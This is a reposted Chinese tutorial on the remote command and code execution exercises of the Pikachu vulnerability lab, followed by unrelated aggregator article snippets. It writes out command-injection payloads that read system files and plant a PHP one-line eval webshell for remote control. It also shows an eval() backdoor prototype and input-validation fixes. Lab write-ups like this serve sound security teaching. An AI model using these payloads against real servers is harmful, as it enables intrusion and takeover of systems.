Pikachu靶场——远程命令执行漏洞(RCE)

文章目录

  • 1. RCE
    • 1.1 exec "ping"
      • 1.1.1 源代码分析
      • 1.1.2 漏洞防御
    • 1.2 exec "eval"
      • 1.2.1 源代码分析
      • 1.2.2 漏洞防御
    • 1.3 RCE 漏洞防御

1. RCE

RCE(remote command/code execute)概述:

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

1.1 exec “ping”

输入IP地址查看页面反应

image-20230827164014274

在ip地址的后门拼接说我们自己想执行的命令

127.0.0.1 & ipconfig

image-20230827164242856

查看win.ini文件内容

127.0.0.1 && type C:\Windows\win.ini

image-20230923151509344

同样的可以拼接各种命令如:systeminfo,net user等等。

还可以写入一句话木马进行连接

127.0.0.1 | echo "<?php @eval($_REQUEST[777])?>" > ../../../wuhu.php

image-20230915203459052

然后使用中国蚁剑进行连接即可

image-20230915203647019

1.1.1 源代码分析

代码中,首先$ _POST[‘ipaddress’]赋值给了$ip ,然后没有经过任何处理直接就传入shell_exec()函数执行,造成命令可拼接执行。

image-20230923151749909

1.1.2 漏洞防御

# 漏洞防御代码
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){$ip=$_POST['ipaddress'];$check=explode('.', $ip);//可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255if(count($check) === 4 &&($check[0] >= 1 && $check[0] <= 255) &&($check[1] >= 0 && $check[1] <= 255) &&($check[2] >= 0 && $check[2] <= 255) &&ctype_digit($check[3]) && $check[3] >= 1 && $check[3] <= 255){if(stristr(php_uname('s'), 'windows')){$result.=shell_exec('ping '.$ip);}else {$result.=shell_exec('ping -c 4 '.$ip);}}else {// IP地址不合法die("Invalid IP address!");}
}

代码解析:

  • ctype_digit()函数来验证第四位是否是整数。
  • count()函数来检查拆分后的数组元素数量是否为4。

image-20230923154448657

构造攻击代码

127.0.0.1 & ipconfig

页面显示Invalid IP address!,防御成功!

image-20230923153550313

1.2 exec “eval”

后端代码审计——PHP函数及PHP危险函数。

eval():会将符合PHP 语法规范字符串当作php代码执行。

代码示例:

<?php// $code = "phpinfo();";// echo $code;// var_dump($code);$code = $_REQUEST['code'];eval($code);?>

一句话木马原型。

在输入框输入如下内容:

phpinfo();

image-20230827164701542

1.2.1 源代码分析

查看源码发现没有做任何校验,直接将我们输入的代码传递到了eval()函数中。

在这里插入图片描述

1.2.2 漏洞防御

在后端代码中尽量避免使用PHP危险函数。或者使用白名单策略,来对用户输入的命令做一个限制。

1.3 RCE 漏洞防御

  • 使用白名单:定义一个接受合法命令或代码输入的白名单,只有在此白名单中的命令或代码才会被执行。这个做法可以限定用户只能进行指定的操作,并且可以有效地防止黑客攻击。
  • 安全编码实践:编写安全代码是防范RCE攻击的一个重要手段。开发者应该禁止使用eval()或exec()等不安全的函数,而是使用更安全的函数来处理用户输入。
  • 输入验证:当处理用户输入时,必须进行必要的验证,包括数据类型、格式和长度等。在校验用户输入之后,再将其传递给执行命令或代码的函数。
  • 限制shell运行环境:在PHP的服务器端配置文件中,可以通过限制可执行文件的路径和基本环境变量来减小攻击面。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/96747.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

接口测试总结

一、了解一下HTTP与RPC 1. HTTP&#xff08;HyperText Transfer Protocol) 说明&#xff1a;超文本传输协议&#xff0c;是互联网上应用最为广泛的一种网络协议。 优点&#xff1a;就是简单、直接、开发方便&#xff0c;利用现成的http协议进行传输。 流程图&#xff1a; 2. R…

非支配排序遗传算法NSGA

x i 优于 x j > 则称 x i 非支配于 x j 待看视频&#xff1a; 纯小白超详细的非支配排序遗传算法原理讲解_哔哩哔哩_bilibili 待读文章&#xff1a; 进化计算&#xff08;四&#xff09;——NSGA/NSGA II算法详解_nsga 求解单目标_南木长的博客-CSDN博客 进化计算…

【QT5-程序控制电源-RS232-SCPI协议-上位机-基础样例【1】】

【QT5-程序控制电源-RS232-SCPI协议-上位机-基础样例【1】】 1、前言2、实验环境3、自我总结1、基础了解仪器控制-熟悉仪器2、连接SCPI协议3、选择控制方式-程控方式-RS2324、代码编写 4、熟悉协议-SCPI协议5、测试实验-测试指令&#xff08;1&#xff09;硬件连接&#xff08;…

课题学习(三)----倾角和方位角的动态测量方法(基于陀螺仪的测量系统)

一、内容介绍 该测量系统基于三轴加速度和三轴陀螺仪&#xff0c;安装在钻柱内部&#xff0c;随钻柱一起旋转&#xff0c;形成捷联惯性导航系统&#xff0c;安装如下图所示&#xff1a;   假设三轴加速度和陀螺仪的输出为: f b [ f x f y f z ] T f^b\begin{bmatrix}f_{x} …

leetcode 221 最大正方形 + 1277 统计全为1的正方形子矩阵

题目 在一个由 ‘0’ 和 ‘1’ 组成的二维矩阵内&#xff0c;找到只包含 ‘1’ 的最大正方形&#xff0c;并返回其面积。 示例 输入&#xff1a;matrix [[“1”,“0”,“1”,“0”,“0”],[“1”,“0”,“1”,“1”,“1”],[“1”,“1”,“1”,“1”,“1”],[“1”,“0”,“…

Docker 安装 MongoDB

一、什么是MongoDB MongoDB 是一个基于分布式文件存储的数据库。是一个介于关系数据库和非关系数据库之间的产品&#xff0c;是非关系数据库当中功能最丰富&#xff0c;最像关系数据库的。 二、MongoDB的安装 这里使用docker来安装MongoD 1.docker 拉取mysql镜像 docker pu…

论文笔记:Contrastive Trajectory Similarity Learning withDual-Feature Attention

ICDE 2023 1 intro 1.1 背景 轨迹相似性&#xff0c;可以分为两类 启发式度量 根据手工制定的规则&#xff0c;找到两条轨迹之间基于点的匹配学习式度量 通过计算轨迹嵌入之间的距离来预测相似性值上述两种度量的挑战&#xff1a; 无效性&#xff1a; 具有不同采样率或含有噪…

vue模版语法-{{}}/v-text/v-html/v-once

一、{{}}双括号&#xff1a;用于文本渲染 1、 {{变量名}}:data中返回对象的变量名 2、{{js表达式}}:可以直接进行js表达式处理 3、注意&#xff1a;双大括号中不要写等式书写 二、v-text 指令&#xff0c;用于文本渲染 1、为了解决双大括号渲染数据出现闪烁问题 三、v-cloak …

使用Transformer实现自动调制识别(RML2016.10a,90%+精度(未调参优化))

应粉丝要求,本文给出大型模型Transformer的信号识别的实现方式(附代码) 基于RML2016.10a识别精度可达90%+。(由于代码直接引入,未进行调参,大家可以自行优化。) 相关文章可见:https://blog.csdn.net/QAQIknow/article/details/119963986 由于设备条件有限,本文使用R…

C++基础知识1

1、在C程序在调用C编译器编译后的函数&#xff0c;为什么需要加extern C&#xff1f; 首先&#xff0c;extern是C/C中的表明函数的的全局变量范围的关键字&#xff0c;该关键字告诉编译器&#xff0c;其声明的函数可以在本模块和其他模块中使用。 被extern修饰的变量和函数是按…

MyBatisPlus(八)范围查询

说明 范围查询&#xff0c;包括&#xff1a; 大于大于等于小于小于等于在范围内在范围外 大于&#xff1a;gt 代码 Testvoid gt() {LambdaQueryWrapper<User> wrapper new LambdaQueryWrapper<>();wrapper.gt(User::getAge, 20);List<User> users mapp…

【洛谷 P5730】【深基5.例10】显示屏 题解(数组+循环)

【深基5.例10】显示屏 题目描述 液晶屏上&#xff0c;每个阿拉伯数字都是可以显示成 3 5 3\times5 35 的点阵的&#xff08;其中 X 表示亮点&#xff0c;. 表示暗点&#xff09;。现在给出数字位数&#xff08;不超过 100 100 100&#xff09;和一串数字&#xff0c;要求输…

Zookeeper经典应用场景实战(一)

文章目录 1、Zookeeper Java客户端实战1.1、 Zookeeper 原生Java客户端使用1.2、 Curator开源客户端使用 2、 Zookeeper在分布式命名服务中的实战2.1、 分布式API目录2.2、 分布式节点的命名2.3、 分布式的ID生成器 3、Zookeeper实现分布式队列3.1、 设计思路3.2、 使用Apache …

大文件上传,前端vue 做分片上传

html – 以弹窗的形式 <!-- 上传算法文件 --> <el-dialog title"上传算法文件" :visible.sync"uploadPop" width"60%" :close-on-click-modal"false" :before-close"closeUploadPop" append-to-body custom-class…

【C语言】24-共用体类型、枚举类型与typedef

目录 1. 共用体类型1.1 如何定义共用体类型1.2 引用共用体变量的方式1.3 共用体类型数据的特点2. 枚举类型2.1 如何声明和使用枚举类型2.2 枚举类型的用处3. typedef3.1 为简单类型取别名3.2 为复杂类型取别名3.2.1 为结构体类型取别名3.2.2 为数组取别名3.2.3 为指针类型取别名…

2023.10.07

#include <iostream>using namespace std;int main() {string str;cout << "请输入字符串&#xff1a;";getline(cin,str);int big0,little0,spac0,num0,sym0;int sizestr.size();for(int i0;i<size;i){if((int)str.at(i)<6526 && (int)st…

如何开发一款高效便捷的搬家服务小程序

随着互联网的发展&#xff0c;小程序已成为各行各业重要的业务推广和用户服务平台。对于搬家行业而言&#xff0c;开发一款高效便捷的搬家服务小程序具有巨大的市场潜力。本文将为您详细介绍如何开发一款这样的搬家服务小程序。 一、进入乔拓云网后台 在开始制作搬家服务小程序…

haproxy使用

haproxy使用 安装使用yum安装 配置文件global 全局配置Proxies配置Proxies配置-defaultsProxies配置-listen 简化配置 安装 社区版官网链接&#xff1a;http://www.haproxy.org CentOS 7 的默认的base仓库中包含haproxy的安装包文件&#xff0c;但是版本比较旧&#xff0c;是1…

NPDP怎么报名?考试难度大吗?

PMDA&#xff08;Product Development and Management Association&#xff09;是美国产品开发与管理协会&#xff0c;在中国由中国人才交流基金会培训中心举办NPDP&#xff08;New Product Development Professional&#xff09;考试&#xff0c;该考试是产品经理国际资格认证…

ICE综述

ICE综述 ICE(Internet Communications Engine)是ZeroC提供的一款高性能的中间件&#xff0c;基于ICE可以实现电信级的解决方案。在设计网站架构的时候可以使用ICE实现对网站应用的基础对象操作&#xff0c;将基础对象操作和数据库操作封装在这一层&#xff0c;在业务逻辑层以及…